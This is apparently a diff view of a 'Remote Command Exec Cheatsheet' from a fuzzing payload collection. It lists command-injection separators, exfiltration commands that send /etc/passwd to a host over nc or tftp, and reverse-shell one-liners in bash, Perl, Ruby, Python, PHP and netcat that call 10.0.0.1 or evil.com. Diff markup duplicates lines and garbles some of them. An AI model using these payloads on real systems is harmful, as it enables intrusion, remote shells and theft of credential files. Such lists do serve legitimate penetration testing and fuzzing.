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Adam Muntner 2015-09-15 22:42:00 -04:00
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Remote Command Exec Cheatsheet
File notes:
File notes
**source-disc-cmd-exec-traversal.fuzz.txt**
usage:
usage
```GET /path/*payload*relative/path/to/target/file/```
**Executing Commands**
Seperating Commands:
Seperating Commands
```blah;blah2```
PIPES:
```blah ^ blah2```
PIPES
``` blah ^ blah 2```
AND:
AND
```blah && blah2```
OR:
OR
```FAIL || X```
OR:
```blah%0Dblah2%0Dblah3```
OR
``` blah%0Dblah2%0Dblah3 ```
Backtick:
Backtick
``` `blah` ```
Background:
'`blah & blah2`'
Background
``` `blah & blah2` ```
**Exfiltrating Files / Data**
FTP:
FTP
Make a new text file, and echo and then redirect to FTP
NC:
NC
``` 'nc -e /bin/sh' ```
NC:
NC
``` 'echo /etc/passwd | nc host port' ```
TFTP:
TFTP
``` 'echo put /etc/passwd | tftp host' ```
WGET:
@ -49,40 +49,42 @@ WGET:
**One-Liner Reverse Shells**
On the listener:
'$ nc -l -p 8080 -vvv'
On the listener
``` $ nc -l -p 8080 -vvv' ```
On the remote host...
Bash:
'$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
``` $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ```
'$ exec 5<>/dev/tcp/evil.com/8080'
``` $ exec 5<>/dev/tcp/evil.com/8080 ```
'$ cat <&5 | while read line; do $line 2>&5 >&5; done'
Perl:
'$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};''
Perl
```$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ```
Ruby:
$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Ruby
``` $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ```
Python:
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Python
``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```
PHP:
$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
PHP
``` $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```
(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)
Netcat:
$ nc -e /bin/sh 10.0.0.1 1234
Netcat
``` $ nc -e /bin/sh 10.0.0.1 1234 ```
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ```
```
XTERM:
Server:
$ xterm -display 10.0.0.1:1
Listener:
$ Xnest :1
$ xhost +targetip
```